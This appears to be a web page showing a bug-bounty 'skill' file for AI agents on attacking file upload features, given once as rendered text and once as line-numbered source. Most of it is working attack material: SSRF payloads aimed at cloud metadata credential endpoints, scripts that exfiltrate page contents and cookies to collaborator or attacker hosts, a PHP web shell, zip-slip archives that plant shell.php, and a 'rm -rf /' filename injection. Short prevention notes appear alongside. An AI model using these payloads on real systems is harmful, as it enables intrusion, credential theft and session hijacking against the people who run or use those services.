Content-Type & Extension Bypass
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack |
How |
Prevention |
| Extension bypass |
shell.php.jpg, shell.pHp, shell.php5 |
Allowlist + extract final extension |
| Null byte |
shell.php%00.jpg |
Sanitize null bytes |
| Double extension |
shell.jpg.php |
Only allow single extension |
| MIME spoof |
Content-Type: image/jpeg with .php body |
Validate magic bytes, not MIME header |
| Magic bytes prefix |
Prepend GIF89a; to PHP code |
Parse whole file, not just header |
| Polyglot |
Valid as JPEG and PHP |
Process as image lib, reject if invalid |
| SVG JavaScript |
<svg> |
Sanitize SVG or disallow entirely |
| XXE in DOCX |
Malicious XML in Office ZIP |
Disable external entities |
| ZIP slip |
../../../etc/passwd in archive |
Validate extracted paths |
| Filename injection |
; rm -rf / in filename |
Sanitize + use UUID names |
Magic Bytes Reference
| Type |
Hex |
| JPEG |
FF D8 FF |
| PNG |
89 50 4E 47 0D 0A 1A 0A |
| GIF |
47 49 46 38 |
| PDF |
25 50 44 46 |
| ZIP/DOCX/XLSX |
50 4B 03 04 |
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://[REDACTED_IP]/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
Verification
Run this self-test to confirm file-upload hunting readiness:
Skill integrity — confirm the skill file is readable and well-formed:
grep -q "name: hunt-file-upload" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
Category check — confirm the skill has a category:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
Pitfalls section — confirm pitfalls are documented:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
- Upload without execution — uploading a
.php file to a directory that serves it as text/plain is not RCE. Need code execution, not just file storage.
- SVG XSS without same-origin rendering — SVG uploaded to a different origin may not execute scripts due to CSP or same-origin policy. Test in the actual rendering context.
- Extension blacklist bypass without server-side validation — bypassing client-side extension check proves nothing. Always test server-side acceptance.
- Content-Type spoofing — changing Content-Type header doesn't change how the server processes the file. Need to confirm server-side MIME confusion.
- Path traversal in filename —
../../../etc/passwd in filename is path traversal, not upload exploit. Distinguish the two.
Related Skills & Chains
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
Phase X — Processing Race & CDN Cache Poisoning
Processing race: upload benign file → processor validates OK → attacker overwrites with malicious file before serving.
CDN cache poisoning via upload headers: force Cache-Control: public, max-age=31536000 + Content-Type: text/html on an uploaded image.
Zip Slip: create archive with ../../../var/www/html/shell.php path traversal entry.
1---2name: hunt-file-upload3description: Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.4license: MIT5---67## Content-Type & Extension Bypass89### Content-Type Bypass10```11filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type12filename=shell.phtml, shell.pHp, shell.php5 → extension variants13```1415### File Upload Bypass Techniques (10 techniques)1617| Attack | How | Prevention |18|---|---|---|19| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |20| Null byte | `shell.php%00.jpg` | Sanitize null bytes |21| Double extension | `shell.jpg.php` | Only allow single extension |22| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |23| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |24| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |25| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |26| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |27| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |28| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |2930### Magic Bytes Reference3132| Type | Hex |33|---|---|34| JPEG | `FF D8 FF` |35| PNG | `89 50 4E 47 0D 0A 1A 0A` |36| GIF | `47 49 46 38` |37| PDF | `25 50 44 46` |38| ZIP/DOCX/XLSX | `50 4B 03 04` |3940### Stored XSS via SVG41```xml42<?xml version="1.0"?>43<svg xmlns="http://www.w3.org/2000/svg">44 <script>alert(document.domain)</script>45</svg>46```4748---4950## ImageMagick / FFmpeg Exploitation5152### ImageMagick SSRF / File Read (ImageTragick family + modern variants)53```bash54# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)55# MVG SSRF payload — fetches internal URL during processing56cat > /tmp/ssrf.mvg << 'EOF'57push graphic-context58viewbox 0 0 640 48059fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'60pop graphic-context61EOF6263# SVG SSRF (ImageMagick processes SVG remotely)64cat > /tmp/ssrf.svg << 'EOF'65<?xml version="1.0"?>66<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>67<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">68 <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>69</svg>70EOF7172# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)73# Upload a crafted WebP file targeting libwebp heap overflow74# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC75```7677### FFmpeg SSRF via HLS Playlist78```bash79# FFmpeg processes m3u8 playlists and fetches referenced segments80cat > /tmp/ssrf.m3u8 << 'EOF'81#EXTM3U82#EXT-X-MEDIA-SEQUENCE:083#EXTINF:10.0,84http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/85#EXT-X-ENDLIST86EOF8788# Also works with concat demuxer89cat > /tmp/concat.txt << 'EOF'90ffconcat version 1.091file 'http://COLLAB_HOST/ffmpeg-ssrf'92EOF9394# Test: upload .m3u8 or video file to any video processing endpoint95```9697---9899## Headless Chrome / PDF Generator SSRF100101### HTML → PDF Converter Attacks102```bash103# Target: invoice generators, report exporters, screenshot services104# Inject HTML that causes headless Chrome to fetch internal resources105106# SSRF via CSS import107PAYLOAD='<html><head><style>@import url("http://[REDACTED_IP]/latest/meta-data/");</style></head><body>test</body></html>'108109# SSRF via HTML iframe110PAYLOAD='<html><body><iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'111112# Local file read113PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'114115# JavaScript execution (if sandbox not enforced)116PAYLOAD='<html><body><script>117fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));118</script></body></html>'119120# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint121curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \122 -H "Content-Type: application/json" \123 -d "{\"html\": \"$PAYLOAD\"}"124```125126---127128## Archive Extraction Attacks (Zip Slip / Symlink)129130```bash131# Zip Slip — path traversal via archive filenames132pip3 install evilarc133python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip134135# Symlink attack — archive contains symlink to sensitive file136mkdir -p /tmp/sym_attack137ln -s /etc/passwd /tmp/sym_attack/innocent.txt138zip -ry /tmp/symlink.zip /tmp/sym_attack/139140# TAR symlink attack141tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/142143# Test: upload to any /import, /extract, /unzip endpoint144curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/import" \145 -F "file=@/tmp/zipslip.zip"146```147148---149150## Verification151152Run this self-test to confirm file-upload hunting readiness:1531541. **Skill integrity** — confirm the skill file is readable and well-formed:155 ```bash156 grep -q "name: hunt-file-upload" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"157 grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"158 ```1591602. **Category check** — confirm the skill has a category:161 ```bash162 grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"163 ```1641653. **Pitfalls section** — confirm pitfalls are documented:166 ```bash167 grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"168 ```169170All 3 tests verify the skill is properly structured and ready for use.171172---173174## Pitfalls175- **Upload without execution** — uploading a `.php` file to a directory that serves it as text/plain is not RCE. Need code execution, not just file storage.176- **SVG XSS without same-origin rendering** — SVG uploaded to a different origin may not execute scripts due to CSP or same-origin policy. Test in the actual rendering context.177- **Extension blacklist bypass without server-side validation** — bypassing client-side extension check proves nothing. Always test server-side acceptance.178- **Content-Type spoofing** — changing Content-Type header doesn't change how the server processes the file. Need to confirm server-side MIME confusion.179- **Path traversal in filename** — `../../../etc/passwd` in filename is path traversal, not upload exploit. Distinguish the two.180181---182183## Related Skills & Chains184185- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.186- **`hunt-xxe`** — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose `[Content_Types].xml` or `word/document.xml` includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil `/etc/passwd` or `web.config` via the document parser.187- **`hunt-xss`** — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with `<script>fetch('//attacker/?'+document.cookie)</script>` → victim views attachment at `app.target.com/uploads/x.svg` (same origin, not sandboxed) → cookie theft → ATO via session hijack.188- **`hunt-ssrf`** — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with `<image xlink:href="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">` or ffmpeg `concat:http://internal/...` → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.189- **`security-arsenal`** — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, `.phtml`/`.phar`/`.php5`/`.pht`, `.htaccess` upload to re-enable handlers, `web.config` upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.190- **`triage-validation`** — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual `whoami` round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.191192### Phase X — Processing Race & CDN Cache Poisoning193194Processing race: upload benign file → processor validates OK → attacker overwrites with malicious file before serving.195CDN cache poisoning via upload headers: force `Cache-Control: public, max-age=31536000` + `Content-Type: text/html` on an uploaded image.196Zip Slip: create archive with `../../../var/www/html/shell.php` path traversal entry.